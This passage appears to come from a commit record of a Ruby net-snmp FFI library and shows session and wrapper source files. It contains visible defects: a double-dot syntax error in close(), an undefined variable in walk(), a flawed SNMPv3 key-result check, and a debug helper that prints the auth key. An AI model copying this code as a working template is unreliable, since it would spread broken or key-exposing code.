:pointer], :int\n  attach_function :snmp_synch_response, [:pointer, :pointer, :pointer], :int\n  attach_function :snmp_parse_oid, [:string, :pointer, :pointer], :pointer\n  attach_function :snmp_api_errstring, [ :int ], :string\n  attach_function :snmp_perror, [ :string ], :void\n  attach_function :snmp_set_detail, [ :string ], :void\n  \n  attach_function :snmp_select_info, [:pointer, :pointer, :pointer, :pointer], :int\n  attach_function :snmp_read, [:pointer], :void\n  attach_function :generate_Ku, [:pointer, :int, :string, :int, :pointer, :pointer], :int\n\n\n\n  # MIB functions\n  attach_function :netsnmp_init_mib, [], :void\n  attach_function :read_all_mibs, [], :void\n  attach_function :add_mibdir, [:string], :int\n  attach_function :read_mib, [:string], Tree.typed_pointer\n  attach_function :netsnmp_read_module, [:string], Tree.typed_pointer\n  attach_function :snmp_set_save_descriptions, [:int], :void\n\n  attach_function :get_tree_head, [], Tree.typed_pointer\n  attach_function :get_tree, [:pointer, :int, :pointer], Tree.typed_pointer\n  #attach_function :send_easy_trap, [:int, :int], :void\n  #attach_function :send_trap_vars, [:int, :int, :pointer], :void\n  #attach_function :send_v2trap, [:pointer], :void\n\n  def self.get_fd_set\n    FFI::MemoryPointer.new(:pointer, 128)\n  end\n  \n\nend\nend\nend\n\n\n#module RubyWrapper\n#  extend FFI::Library\n#  ffi_lib FFI::CURRENT_PROCESS\n#  attach_function :rb_thread_select, [:int, :pointer, :pointer, :pointer, :pointer], :int\n#end\n\n\n\nmodule FFI\n  module LibC\n    extend FFI::Library\n    ffi_lib [FFI::CURRENT_PROCESS, 'c']\n\n    typedef :pointer, :FILE\n    typedef :uint32, :in_addr_t\n    typedef :uint16, :in_port_t\n\n    class Timeval < FFI::Struct\n      layout :tv_sec, :time_t,\n             :tv_usec, :suseconds_t\n    end\n\n    # Standard IO functions\n    #@blocking = true  # some undocumented voodoo that tells the next attach_function to release the GIL\n    attach_function :select, [:int, :pointer, :pointer, :pointer, :pointer], :int\n    attach_variable :errno, :int\n    attach_function :malloc, [:size_t], :pointer\n    attach_function :free, [:pointer], :void\n  end\nend\n\n"}, "files_after": {"lib/net/snmp/session.rb": "require 'thread'\nrequire 'forwardable'\nrequire 'pp'\nmodule Net\n  module SNMP\n    class Session\n      # == SNMP Session\n      #\n      # Provides API for interacting with a host with snmp\n      extend Forwardable\n      include Net::SNMP::Debug\n      attr_accessor :struct, :callback, :requests, :peername, :community\n      attr_reader :version\n      def_delegator :@struct, :pointer\n      #@sessions = []\n      @lock = Mutex.new\n      @sessions = {}\n\n      class << self\n        attr_accessor :sessions, :lock\n\n        # Open a new session.  Accepts a block which yields the session.\n        #\n        #   Net::SNMP::Session.open(:peername => 'test.net-snmp.org', :community => 'public') do |sess|\n        #     pdu = sess.get([\"sysDescr.0\"])\n        #     pdu.print\n        #   end\n        # Options:\n        # * +peername+ - hostname\n        # * +community+ - snmp community string.  Default is public\n        # * +version+ - snmp version.  Possible values include 1, '2c', and 3. Default is 1.\n        # * +timeout+ - snmp timeout in seconds\n        # * +retries+ - snmp retries.  default = 5\n        # * +security_level+ - SNMPv3 only. default = Net::SNMP::Constants::SNMP_SEC_LEVEL_NOAUTH\n        # * +auth_protocol+ - SNMPv3 only. default is nil (usmNoAuthProtocol). Possible values include :md5, :sha1, and nil\n        # * +priv_protocol+ - SNMPv3 only. default is nil (usmNoPrivProtocol). Possible values include :des, :aes, and nil\n        # * +context+ - SNMPv3 only.\n        # * +username+ - SNMPv3 only.\n        # * +auth_password+ - SNMPv3 only.\n        # * +priv_password+ - SNMPv3 only.  \n        # Returns:\n        # Net::SNMP::Session\n        def open(options = {})\n          session = new(options)\n          if Net::SNMP::thread_safe\n            Net::SNMP::Session.lock.synchronize {\n              Net::SNMP::Session.sessions[session.sessid] = session\n            }\n          else\n            Net::SNMP::Session.sessions[session.sessid] = session\n          end\n          if block_given?\n            yield session\n          end\n          session\n        end\n      end\n\n      def initialize(options = {})\n        @timeout = options[:timeout] || 1\n        @retries = options[:retries] || 5\n        @requests = {}\n        @peername = options[:peername] || 'localhost'\n        @peername = \"#{@peername}:#{options[:port]}\" if options[:port]\n        @community = options[:community] || \"public\"\n        options[:community_len] = @community.length\n        @version = options[:version] || 1\n        options[:version] ||= Constants::SNMP_VERSION_1\n        @version = options[:version] || 1\n        #self.class.sessions << self\n        @sess = Wrapper::SnmpSession.new(nil)\n        Wrapper.snmp_sess_init(@sess.pointer)\n        #options.each_pair {|k,v| ptr.send(\"#{k}=\", v)}\n        @sess.community = FFI::MemoryPointer.from_string(@community)\n        @sess.community_len = @community.length\n        @sess.peername = FFI::MemoryPointer.from_string(@peername)\n        #@sess.remote_port = options[:port] || 162\n        @sess.version = case options[:version].to_s\n        when '1'\n          Constants::SNMP_VERSION_1\n        when '2', '2c'\n          Constants::SNMP_VERSION_2c\n        when '3'\n          Constants::SNMP_VERSION_3\n        else\n          Constants::SNMP_VERSION_1\n        end\n        debug \"setting timeout = #{@timeout} retries = #{@retries}\"\n        @sess.timeout = @timeout * 1000000\n        @sess.retries = @retries\n\n        if @sess.version == Constants::SNMP_VERSION_3\n          @sess.securityLevel = options[:security_level] || Constants::SNMP_SEC_LEVEL_NOAUTH\n          @sess.securityAuthProto = case options[:auth_protocol]\n              when :sha1\n                OID.new(\"1.3.6.1.6.3.10.1.1.3\").pointer\n              when :md5\n                OID.new(\"1.3.6.1.6.3.10.1.1.2\").pointer\n              when nil\n                OID.new(\"1.3.6.1.6.3.10.1.1.1\").pointer\n          end\n          @sess.securityPrivProto = case options[:priv_protocol]\n              when :aes\n                OID.new(\"1.3.6.1.6.3.10.1.2.4\").pointer\n              when :des\n                OID.new(\"1.3.6.1.6.3.10.1.2.2\").pointer\n              when nil\n                OID.new(\"1.3.6.1.6.3.10.1.2.1\").pointer\n          end\n          \n          @sess.securityAuthProtoLen = 10\n          @sess.securityAuthKeyLen = Constants::USM_AUTH_KU_LEN\n\n          @sess.securityPrivProtoLen = 10\n          @sess.securityPrivKeyLen = Constants::USM_PRIV_KU_LEN\n\n\n          if options[:context]\n            @sess.contextName = FFI::MemoryPointer.from_string(options[:context])\n            @sess.contextNameLen = options[:context].length\n          end\n\n          # Do not generate_Ku, unless we're Auth or AuthPriv\n          unless @sess.securityLevel == Constants::SNMP_SEC_LEVEL_NOAUTH\n            options[:auth_password] ||= options[:password]  # backward compatability\n            if options[:username].nil? or options[:auth_password].nil?\n              raise Net::SNMP::Error.new \"SecurityLevel requires username and password\"\n            end\n            if options[:username]\n              @sess.securityName = FFI::MemoryPointer.from_string(options[:username])\n              @sess.securityNameLen = options[:username].length\n            end\n\n            auth_len_ptr = FFI::MemoryPointer.new(:size_t)\n            auth_len_ptr.write_int(Constants::USM_AUTH_KU_LEN)\n            auth_key_result = Wrapper.generate_Ku(@sess.securityAuthProto,\n                                             @sess.securityAuthProtoLen,\n                                             options[:auth_password],\n                                             options[:auth_password].bytesize,\n                                             @sess.securityAuthKey,\n                                             auth_len_ptr)\n            @sess.securityAuthKeyLen = auth_len_ptr.read_int\n\n            if @sess.securityLevel == Constants::SNMP_SEC_LEVEL_AUTHPRIV\n              priv_len_ptr = FFI::MemoryPointer.new(:size_t)\n              priv_len_ptr.write_int(Constants::USM_PRIV_KU_LEN)\n\n              # NOTE I know this is handing off the AuthProto, but generates a proper\n              # key for encryption, and using PrivProto does not.\n              priv_key_result = Wrapper.generate_Ku(@sess.securityAuthProto,\n                                               @sess.securityAuthProtoLen,\n                                               options[:priv_password],\n                                               options[:priv_password].bytesize,\n                                               @sess.securityPrivKey,\n                                               priv_len_ptr)\n              @sess.securityPrivKeyLen = priv_len_ptr.read_int\n            end\n\n            unless auth_key_result == Constants::SNMPERR_SUCCESS and priv_key_result == Constants::SNMPERR_SUCCESS\n              Wrapper.snmp_perror(\"netsnmp\")\n            end\n          end\n        end\n        # General callback just takes the pdu, calls the session callback if any, then the request specific callback.\n\n        @struct = Wrapper.snmp_sess_open(@sess.pointer)\n      end\n\n\n      # Close the snmp session and free associated resources.\n      def close\n        if Net::SNMP.thread_safe\n          self.class.lock.synchronize {\n            Wrapper..shutdown_usm()\n\t    Wrapper.snmp_sess_close(@struct)\n            self.class.sessions.delete(self.sessid)\n          }\n        else\n          Wrapper.shutdown_usm()\n          Wrapper.snmp_sess_close(@struct)\n          self.class.sessions.delete(self.sessid)\n        end\n      end\n\n      # Issue an SNMP GET Request.\n      # See #send_pdu\n      def get(oidlist, options = {}, &block)\n        pdu = PDU.new(Constants::SNMP_MSG_GET)\n        oidlist = [oidlist] unless oidlist.kind_of?(Array)\n        oidlist.each do |oid|\n          pdu.add_varbind(:oid => oid)\n        end\n        send_pdu(pdu, options, &block)\n      end\n\n      # Issue an SNMP GETNEXT Request\n      # See #send_pdu\n      def get_next(oidlist, options = {}, &block)\n        pdu = PDU.new(Constants::SNMP_MSG_GETNEXT)\n        oidlist = [oidlist] unless oidlist.kind_of?(Array)\n        oidlist.each do |oid|\n          pdu.add_varbind(:oid => oid)\n        end\n        send_pdu(pdu, options, &block)\n      end\n\n      # Issue an SNMP GETBULK Request\n      # See #send_pdu\n      def get_bulk(oidlist, options = {}, &block)\n        pdu = PDU.new(Constants::SNMP_MSG_GETBULK)\n        oidlist = [oidlist] unless oidlist.kind_of?(Array)\n        oidlist.each do |oid|\n          pdu.add_varbind(:oid => oid)\n        end\n        pdu.non_repeaters = options[:non_repeaters] || 0\n        pdu.max_repetitions = options[:max_repetitions] || 10\n        send_pdu(pdu, options, &block)\n      end\n\n\n      # Issue an SNMP Set Request\n      # See #send_pdu\n      def set(oidlist, options = {}, &block)\n        pdu = PDU.new(Constants::SNMP_MSG_SET)\n        oidlist.each do |oid|\n          pdu.add_varbind(:oid => oid[0], :type => oid[1], :value => oid[2])\n        end\n        send_pdu(pdu, options, &block)\n      end\n\n      # Proxy getters to the C struct representing the session\n      def method_missing(m, *args)\n        if @struct.respond_to?(m)\n          @struct.send(m, *args)\n        else\n          super\n        end\n      end\n\n      def default_max_repeaters\n        # We could do something based on transport here.  25 seems safe\n        25\n      end\n\n      # Raise a NET::SNMP::Error with the session attached\n      def error(msg, options = {})\n        #Wrapper.snmp_sess_perror(msg, @sess.pointer)\n        err =  Error.new({:session => self}.merge(options))\n        err.print\n        raise err, msg\n      end\n      \n\n      # Check the session for SNMP responses from asynchronous SNMP requests\n      # This method will check for new responses and call the associated\n      # response callbacks.\n      # +timeout+  A timeout of nil indicates a poll and will return immediately.\n      # A value of false will block until data is available.  Otherwise, pass\n      # the number of seconds to block.\n      # Returns the number of file descriptors handled.\n      def select(timeout = nil)\n          fdset = FFI::MemoryPointer.new(:pointer, Net::SNMP::Inline.fd_setsize / 8)\n          num_fds = FFI::MemoryPointer.new(:int)\n          tv_sec = timeout ? timeout.round : 0\n          tv_usec = timeout ? (timeout - timeout.round) * 1000000 : 0\n          tval = Wrapper::TimeVal.new(:tv_sec => tv_sec, :tv_usec => tv_usec)\n          block = FFI::MemoryPointer.new(:int)\n          if timeout.nil?\n            block.write_int(0)\n          else\n            block.write_int(1)\n          end\n\n          Wrapper.snmp_sess_select_info(@struct, num_fds, fdset, tval.pointer, block )\n          tv = (timeout == false ? nil : tval)\n          #debug \"Calling select #{Time.now}\"\n          num_ready = FFI::LibC.select(num_fds.read_int, fdset, nil, nil, tv)\n          #debug \"Done select #{Time.now}\"\n          if num_ready > 0\n            Wrapper.snmp_sess_read(@struct, fdset)\n          elsif num_ready == 0\n            Wrapper.snmp_sess_timeout(@struct)\n          elsif num_ready == -1\n            # error.  check snmp_error?\n            error(\"select\")\n          else\n            error(\"wtf is wrong with select?\")\n          end\n          num_ready\n      end\n\n      alias :poll :select\n\n\n      # Issue repeated getnext requests on each oid passed in until\n      # the result is no longer a child.  Returns a hash with the numeric\n      # oid strings as keys.\n      # XXX work in progress.   only works synchronously (except with EM + fibers).\n      # Need to do better error checking and use getbulk when avaiable.\n      def walk(oidlist, options = {})\n        oidlist = [oidlist] unless oidlist.kind_of?(Array)\n        oidlist = oidlist.map {|o| o.kind_of?(OID) ? o : OID.new(o)}\n        all_results = {}\n        base_list = oidlist\n        while(!oidlist.empty? && pdu = get_next(oidlist, options))\n          debug \"===============================================================\"\n          debug \"base_list = #{base_list}\"\n          prev_base = base_list.dup\n          oidlist = []\n          #print_errors\n          #pdu.print_errors\n          pdu.varbinds.each_with_index do |vb, i|\n            if prev_base[i].parent_of?(vb.oid) && vb.object_type != Constants::SNMP_ENDOFMIBVIEW\n              # Still in subtree.  Store results and add next oid to list\n              debug \"adding #{vb.oid} to oidlist\"\n              all_results[vb.oid.to_s] = vb.value\n              oidlist << vb.oid\n            else\n              # End of subtree.  Don't add to list or results\n              debug \"End of subtree\"\n              base_list.delete_at(i)\n              debug \"not adding #{vb.oid}\"\n            end\n            # If get a pdu error, we can only tell the first failing varbind,\n            # So we remove it and resend all the rest\n            if pdu.error? && pdu.errindex == i + 1\n              oidlist.pop  # remove the bad oid\n              debug \"caught error\"\n              if pdu.varbinds.size > i+1\n                # recram rest of oids on list\n                ((i+1)..pdu.varbinds.size).each do |j|\n                  debug \"j = #{j}\"\n                  debug \"adding #{j} = #{prev_list[j]}\"\n                  oidlist << prev_list[j]\n                end\n                # delete failing oid from base_list\n                base_list.delete_at(i)\n              end\n              break\n            end\n          end\n        end\n        if block_given?\n          yield all_results\n        end\n        all_results\n      end\n\n\n      # Given a list of columns (e.g ['ifIndex', 'ifDescr'], will return a hash with\n      # the indexes as keys and hashes as values.\n      #   puts sess.get_columns(['ifIndex', 'ifDescr']).inspect\n      #   {'1' => {'ifIndex' => '1', 'ifDescr' => 'lo0'}, '2' => {'ifIndex' => '2', 'ifDescr' => 'en0'}}\n      def columns(columns, options = {})\n        columns = columns.map {|c| c.kind_of?(OID) ? c : OID.new(c)}\n        walk_hash = walk(columns, options)\n        results = {}\n        walk_hash.each do |k, v|\n          oid = OID.new(k)\n          results[oid.index] ||= {}\n          results[oid.index][oid.node.label] = v\n        end\n        if block_given?\n          yield results\n        end\n        results\n      end\n\n      # table('ifEntry').  You must pass the direct parent entry.  Calls columns with all\n      # columns in +table_name+\n      def table(table_name, &blk)\n        column_names = MIB::Node.get_node(table_name).children.collect {|c| c.oid }\n        results = columns(column_names)\n        if block_given?\n          yield results\n        end\n        results\n      end\n\n      # Send a PDU\n      # +pdu+  The Net::SNMP::PDU object to send.  Usually created by Session.get, Session.getnext, etc.\n      # +callback+ An optional callback.  It should take two parameters, status and response_pdu.\n      # If no +callback+ is given, the call will block until the response is available and will return\n      # the response pdu.  If an error occurs, a Net::SNMP::Error will be thrown.\n      # If +callback+ is passed, the PDU will be sent and +send_pdu+ will return immediately.  You must\n      # then call Session.select to invoke the callback.  This is usually done in some sort of event loop.\n      # See Net::SNMP::Dispatcher.\n      #\n      # If you're running inside eventmachine and have fibers (ruby 1.9, jruby, etc), sychronous calls will\n      # actually run asynchronously behind the scenes.  Just run Net::SNMP::Dispatcher.fiber_loop in your\n      # reactor.\n      #\n      #   pdu = Net::SNMP::PDU.new(Constants::SNMP_MSG_GET)\n      #   pdu.add_varbind(:oid => 'sysDescr.0')\n      #   session.send_pdu(pdu) do |status, pdu|\n      #     if status == :success\n      #       pdu.print\n      #     elsif status == :timeout\n      #       puts \"Timed Out\"\n      #     else\n      #       puts \"A problem occurred\"\n      #     end\n      #   end\n      #   session.select(false)  #block until data is ready.  Callback will be called.\n      #   begin\n      #     result = session.send_pdu(pdu)\n      #     puts result.inspect\n      #   rescue Net::SNMP::Error => e\n      #     puts e.message\n      #   end\n      def send_pdu(pdu, options = {},  &callback)\n        if options[:blocking]\n          return send_pdu_blocking(pdu)\n        end\n        if block_given?\n          @requests[pdu.reqid] = callback\n          debug \"calling async_send\"\n          if Wrapper.snmp_sess_async_send(@struct, pdu.pointer, sess_callback, nil) == 0\n            error(\"snmp_get async failed\")\n          end\n          #pdu.free\n          nil\n        else\n          if defined?(EM) && EM.reactor_running? && defined?(Fiber)\n            f = Fiber.current\n            send_pdu pdu do | op, response_pdu |\n              #pdu.free\n              f.resume([op, response_pdu])\n            end\n            op, result = Fiber.yield\n            case op\n              when :timeout\n                raise TimeoutError.new, \"timeout\"\n              when :send_failed\n                error \"send failed\"\n              when :success\n                result\n              when :connect, :disconnect\n                nil   #does this ever happen?\n              else\n                error \"unknown operation #{op}\"\n            end\n          else\n            send_pdu_blocking(pdu)\n          end\n        end\n      end\n\n      def send_pdu_blocking(pdu)\n        response_ptr = FFI::MemoryPointer.new(:pointer)\n        if [Constants::SNMP_MSG_TRAP, Constants::SNMP_MSG_TRAP2].include?(pdu.command)\n          status = Wrapper.snmp_sess_send(@struct, pdu.pointer)\n          if status == 0\n            error(\"snmp_sess_send\")\n          end\n        else\n          status = Wrapper.snmp_sess_synch_response(@struct, pdu.pointer, response_ptr)\n          unless status == Constants::STAT_SUCCESS\n            error(\"snmp_sess_synch_response\", :status => status)\n          end\n        end\n        if [Constants::SNMP_MSG_TRAP, Constants::SNMP_MSG_TRAP2].include?(pdu.command)\n          1\n        else\n          PDU.new(response_ptr.read_pointer)\n        end\n      end\n\n      def errno\n        get_error\n        @errno\n      end\n\n      # The SNMP Session error code\n      def snmp_err\n        get_error\n        @snmp_err\n      end\n\n      # The SNMP Session error message\n      def error_message\n        get_error\n        @snmp_msg\n      end\n\n      def print_errors\n        puts \"errno: #{errno}, snmp_err: #{@snmp_err}, message: #{@snmp_msg}\"\n      end\n      private\n      def sess_callback\n        @sess_callback ||= FFI::Function.new(:int, [:int, :pointer, :int, :pointer, :pointer]) do |operation, session, reqid, pdu_ptr, magic|\n          debug \"in callback #{operation.inspect} #{session.inspect}\"\n          op = case operation\n            when Constants::NETSNMP_CALLBACK_OP_RECEIVED_MESSAGE\n              :success\n            when Constants::NETSNMP_CALLBACK_OP_TIMED_OUT\n              :timeout\n            when Constants::NETSNMP_CALLBACK_OP_SEND_FAILED\n              :send_failed\n            when Constants::NETSNMP_CALLBACK_OP_CONNECT\n              :connect\n            when Constants::NETSNMP_CALLBACK_OP_DISCONNECT\n              :disconnect\n            else\n              error \"Invalid PDU Operation\"\n          end\n\n          if @requests[reqid]\n            pdu = PDU.new(pdu_ptr)\n            callback_return = @requests[reqid].call(op, pdu)\n            @requests.delete(reqid)\n            callback_return == false ? 0 : 1 #if callback returns false (failure), pass it on.  otherwise return 1 (success)\n          else\n            0# Do what here?  Can this happen?  Maybe request timed out and was deleted?\n          end\n        end\n      end\n      def get_error\n          errno_ptr = FFI::MemoryPointer.new(:int)\n          snmp_err_ptr = FFI::MemoryPointer.new(:int)\n          msg_ptr = FFI::MemoryPointer.new(:pointer)\n          Wrapper.snmp_sess_error(@struct.pointer, errno_ptr, snmp_err_ptr, msg_ptr)\n          @errno = errno_ptr.read_int\n          @snmp_err = snmp_err_ptr.read_int\n          @snmp_msg = msg_ptr.read_pointer.read_string\n      end\n\n\n    end\n  end\nend\n\n\n", "lib/net/snmp/wrapper.rb": "module Net\nmodule SNMP\nmodule Wrapper\n  extend NiceFFI::Library\n  ffi_lib \"libnetsnmp\"\n  #ffi_lib \"netsnmp\"\n  typedef :u_long, :oid\n\n  class Counter64 < NiceFFI::Struct\n    layout(\n           :high, :u_long,\n           :low, :u_long\n    )\n  end\n\n  class TimeVal < NiceFFI::Struct\n    layout(:tv_sec, :long, :tv_usec, :long)\n  end\n  def self.print_timeval(tv)\n    puts \"tv_sec = #{tv.tv_sec}, tv_usec = #{tv.tv_usec} \"\n  end\n\n\n  class NetsnmpVardata < FFI::Union\n    layout(\n           :integer, :pointer,\n           :string, :pointer,\n           :objid, :pointer,\n           :bitstring, :pointer,\n           :counter64, :pointer,\n           :float, :pointer,\n           :double, :pointer\n    )\n  end\n\n  def self.print_varbind(v)\n    puts \"---------------------VARBIND------------------------\"\n    puts %{\n      name_length #{v.name_length}\n      name #{v.name.read_array_of_long(v.name_length).join(\".\")}\n      type = #{v.type}\n\n    }\n  end\n # puts \"Vardata size = #{NetsnmpVardata.size}\"\n  class VariableList < NiceFFI::Struct\n    layout(\n           :next_variable, :pointer,\n           :name, :pointer,\n           :name_length, :size_t,\n           :type, :u_char,\n           :val, NetsnmpVardata,\n           :val_len, :size_t,\n           :name_loc, [:oid, Net::SNMP::MAX_OID_LEN],\n           :buf, [:u_char, 40],\n           :data, :pointer,\n           :dataFreeHook, callback([ :pointer ], :void),\n           :index, :int\n    )  \n  end\n  \n  #puts \"VariableList size = #{VariableList.size}\"\n\n  def self.print_pdu(p)\n    puts \"--------------PDU---------------\"\n    puts %{\n      version = #{p.version}\n      command = #{p.command}\n      errstat = #{p.errstat}\n      errindex = #{p.errindex}\n    }\n    v = p.variables.pointer\n    puts \"-----VARIABLES------\"\n    while !v.null? do\n      var = VariableList.new v\n      print_varbind(var)\n      v = var.next_variable\n    end\n    \n  end\n  class SnmpPdu < NiceFFI::Struct\n    layout(\n           :version, :long,\n           :command, :int,\n           :reqid, :long,\n           :msgid, :long,\n           :transid, :long,\n           :sessid, :long,\n           :errstat, :long,\n           :errindex, :long,\n           :time, :u_long,\n           :flags, :u_long,\n           :securityModel, :int,\n           :securityLevel, :int,\n           :msgParseModel, :int,\n           :transport_data, :pointer,\n           :transport_data_length, :int,\n           :tDomain, :pointer,\n           :tDomainLen, :size_t,\n           :variables, VariableList.typed_pointer,\n           :community, :pointer,\n           :community_len, :size_t,\n           :enterprise, :pointer,\n           :enterprise_length, :size_t,\n           :trap_type, :long,\n           :specific_type, :long,\n           :agent_addr, [:uchar, 4],\n           :contextEngineID, :pointer,\n           :contextEngineIDLen, :size_t,\n           :contextName, :pointer,\n           :contextNameLen, :size_t,\n           :securityEngineID, :pointer,\n           :securityEngineIDLen, :size_t,\n           :securityName, :pointer,\n           :securityNameLen, :size_t,\n           :priority, :int,\n           :range_subid, :int,\n           :securityStateRef, :pointer\n    )\n\n  end\n # puts \"snmppdu size = #{SnmpPdu.size}\"\n  callback(:snmp_callback, [ :int, :pointer, :int, :pointer, :pointer ], :int)\n  callback(:netsnmp_callback, [ :int, :pointer, :int, :pointer, :pointer ], :int)\n  def self.print_session(s)\n    puts \"-------------------SESSION---------------------\"\n    puts %{\n      peername = #{s.peername.read_string}\n      community = #{s.community.read_string(s.community_len)}\n      s_errno = #{s.s_errno}\n      s_snmp_errno = #{s.s_snmp_errno}\n      securityAuthKey = #{s.securityAuthKey.to_ptr.read_string}\n\n    }\n  end\n  class SnmpSession < NiceFFI::Struct\n    layout(\n           :version, :long,\n           :retries, :int,\n           :timeout, :long,\n           :flags, :u_long,\n           :subsession, :pointer,\n           :next, :pointer,\n           :peername, :pointer,\n           :remote_port, :u_short,\n           :localname, :pointer,\n           :local_port, :u_short,\n           :authenticator, callback([ :pointer, :pointer, :pointer, :uint ], :pointer),\n           :callback, :netsnmp_callback,\n           :callback_magic, :pointer,\n           :s_errno, :int,\n           :s_snmp_errno, :int,\n           :sessid, :long,\n           :community, :pointer,\n           :community_len, :size_t,\n           :rcvMsgMaxSize, :size_t,\n           :sndMsgMaxSize, :size_t,\n           :isAuthoritative, :u_char,\n           :contextEngineID, :pointer,\n           :contextEngineIDLen, :size_t,\n           :engineBoots, :u_int,\n           :engineTime, :u_int,\n           :contextName, :pointer,\n           :contextNameLen, :size_t,\n           :securityEngineID, :pointer,\n           :securityEngineIDLen, :size_t,\n           :securityName, :pointer,\n           :securityNameLen, :size_t,\n           :securityAuthProto, :pointer,\n           :securityAuthProtoLen, :size_t,\n           :securityAuthKey, [:u_char, 32],\n           :securityAuthKeyLen, :size_t,\n           :securityAuthLocalKey, :pointer,\n           :securityAuthLocalKeyLen, :size_t,\n           :securityPrivProto, :pointer,\n           :securityPrivProtoLen, :size_t,\n           :securityPrivKey, [:u_char, 32],\n           :securityPrivKeyLen, :size_t,\n           :securityPrivLocalKey, :pointer,\n           :securityPrivLocalKeyLen, :size_t,\n           :securityModel, :int,\n           :securityLevel, :int,\n           :paramName, :pointer,\n           :securityInfo, :pointer,\n           :myvoid, :pointer\n    )\n  end\n  class Tree < NiceFFI::Struct\n    layout(\n      :child_list, :pointer,\n      :next_peer, :pointer,\n      :next, :pointer,\n      :parent, :pointer,\n      :label, :string,\n      :subid, :u_long,\n      :modid, :int,\n      :number_modules, :int,\n      :module_list, :pointer,\n      :tc_index, :int,\n      :type, :int,\n      :access, :int,\n      :status, :int,\n      :enums, :pointer,\n      :ranges, :pointer,\n      :indexes, :pointer,\n      :augments, :pointer,\n      :varbinds, :pointer,\n      :hint, :pointer,\n      :units, :pointer,\n      :printomat, callback([:pointer, :pointer, :pointer, :int, :pointer, :pointer, :pointer, :pointer], :int),\n      :printer, callback([:pointer, :pointer, :pointer, :pointer, :pointer], :void),\n      :description, :pointer,\n      :reference, :pointer,\n      :reported, :int,\n      :defaultValue, :pointer\n    )\n  end\n  class IndexList < NiceFFI::Struct\n    layout(\n        :next, :pointer,\n        :ilabel, :pointer,\n        :isimplied, :char\n    )\n  end\n\n\n#  puts \"snmp_session size = #{SnmpSession.size}\"\n  attach_function :snmp_open, [ :pointer ], SnmpSession.typed_pointer\n  attach_function :snmp_errstring, [:int], :string\n  attach_function :snmp_close, [ :pointer ], :int\n  attach_function :snmp_close_sessions, [  ], :int\n  attach_function :snmp_send, [ :pointer, :pointer ], :int\n  attach_function :snmp_async_send, [ :pointer, :pointer, :netsnmp_callback, :pointer ], :int\n  attach_function :snmp_read, [ :pointer ], :void\n  attach_function :snmp_free_pdu, [ :pointer ], :void\n  attach_function :snmp_free_var, [ :pointer ], :void\n  attach_function :snmp_free_varbind, [ :pointer ], :void\n  attach_function :snmp_select_info, [ :pointer, :pointer, :pointer, :pointer ], :int\n  attach_function :snmp_timeout, [  ], :void\n\n  attach_function :snmp_get_next_msgid, [  ], :long\n  attach_function :snmp_get_next_reqid, [  ], :long\n  attach_function :snmp_get_next_sessid, [  ], :long\n  attach_function :snmp_get_next_transid, [  ], :long\n  attach_function :snmp_oid_compare, [ :pointer, :uint, :pointer, :uint ], :int\n  attach_function :snmp_oid_ncompare, [ :pointer, :uint, :pointer, :uint, :uint ], :int\n  attach_function :snmp_oidtree_compare, [ :pointer, :uint, :pointer, :uint ], :int\n  attach_function :snmp_oidsubtree_compare, [ :pointer, :uint, :pointer, :uint ], :int\n  attach_function :netsnmp_oid_compare_ll, [ :pointer, :uint, :pointer, :uint, :pointer ], :int\n  attach_function :netsnmp_oid_equals, [ :pointer, :uint, :pointer, :uint ], :int\n#  attach_function :netsnmp_oid_tree_equals, [ :pointer, :uint, :pointer, :uint ], :int\n  attach_function :netsnmp_oid_is_subtree, [ :pointer, :uint, :pointer, :uint ], :int\n  attach_function :netsnmp_oid_find_prefix, [ :pointer, :uint, :pointer, :uint ], :int\n  attach_function :netsnmp_transport_open_client, [:string, :pointer], :pointer\n  attach_function :init_snmp, [ :string ], :void\n  attach_function :snmp_pdu_build, [ :pointer, :pointer, :pointer ], :pointer\n  attach_function :snmpv3_parse, [ :pointer, :pointer, :pointer, :pointer, :pointer ], :int\n  attach_function :snmpv3_packet_build, [ :pointer, :pointer, :pointer, :pointer, :pointer, :uint ], :int\n#  attach_function :snmpv3_packet_rbuild, [ :pointer, :pointer, :pointer, :pointer, :pointer, :uint ], :int\n  attach_function :snmpv3_make_report, [ :pointer, :int ], :int\n  attach_function :snmpv3_get_report_type, [ :pointer ], :int\n  attach_function :snmp_pdu_parse, [ :pointer, :pointer, :pointer ], :int\n  attach_function :snmpv3_scopedPDU_parse, [ :pointer, :pointer, :pointer ], :pointer\n  attach_function :snmp_store, [ :string ], :void\n  attach_function :snmp_shutdown, [ :string ], :void\n  attach_function :snmp_pdu_add_variable, [ :pointer, :pointer, :uint, :u_char, :pointer, :size_t ], :pointer\n  attach_function :snmp_varlist_add_variable, [ :pointer, :pointer, :uint, :u_char, :pointer, :uint ], :pointer\n  attach_function :snmp_add_var, [ :pointer, :pointer, :uint, :char, :string ], :int\n  attach_function :snmp_duplicate_objid, [ :pointer, :uint ], :pointer\n  attach_function :snmp_increment_statistic, [ :int ], :u_int\n  attach_function :snmp_increment_statistic_by, [ :int, :int ], :u_int\n  attach_function :snmp_get_statistic, [ :int ], :u_int\n  attach_function :snmp_init_statistics, [  ], :void\n  attach_function :create_user_from_session, [ :pointer ], :int\n # attach_function :snmp_get_fd_for_session, [ :pointer ], :int\n  attach_function :snmp_open_ex, [ :pointer, callback([ :pointer, :pointer, :pointer, :int ], :int), callback([ :pointer, :pointer, :pointer, :uint ], :int), callback([ :pointer, :pointer, :int ], :int), callback([ :pointer, :pointer, :pointer, :pointer ], :int), callback([ :pointer, :pointer, :pointer, :pointer, :pointer ], :int), callback([ :pointer, :uint ], :int) ], :pointer\n  attach_function :snmp_set_do_debugging, [ :int ], :void\n  attach_function :snmp_get_do_debugging, [  ], :int\n  attach_function :snmp_error, [ :pointer, :pointer, :pointer, :pointer ], :void\n  attach_function :snmp_sess_init, [ :pointer ], :void\n  attach_function :snmp_sess_open, [ :pointer ], SnmpSession.typed_pointer\n  attach_function :snmp_sess_pointer, [ :pointer ], :pointer\n  attach_function :snmp_sess_session, [ :pointer ], SnmpSession.typed_pointer\n  attach_function :snmp_sess_transport, [ :pointer ], :pointer\n  attach_function :snmp_sess_transport_set, [ :pointer, :pointer ], :void\n  attach_function :snmp_sess_add_ex, [ :pointer, :pointer, callback([ :pointer, :pointer, :pointer, :int ], :int), callback([ :pointer, :pointer, :pointer, :uint ], :int), callback([ :pointer, :pointer, :int ], :int), callback([ :pointer, :pointer, :pointer, :pointer ], :int), callback([ :pointer, :pointer, :pointer, :pointer, :pointer ], :int), callback([ :pointer, :uint ], :int), callback([ :pointer, :pointer, :uint ], :pointer) ], :pointer\n  attach_function :snmp_sess_add, [ :pointer, :pointer, callback([ :pointer, :pointer, :pointer, :int ], :int), 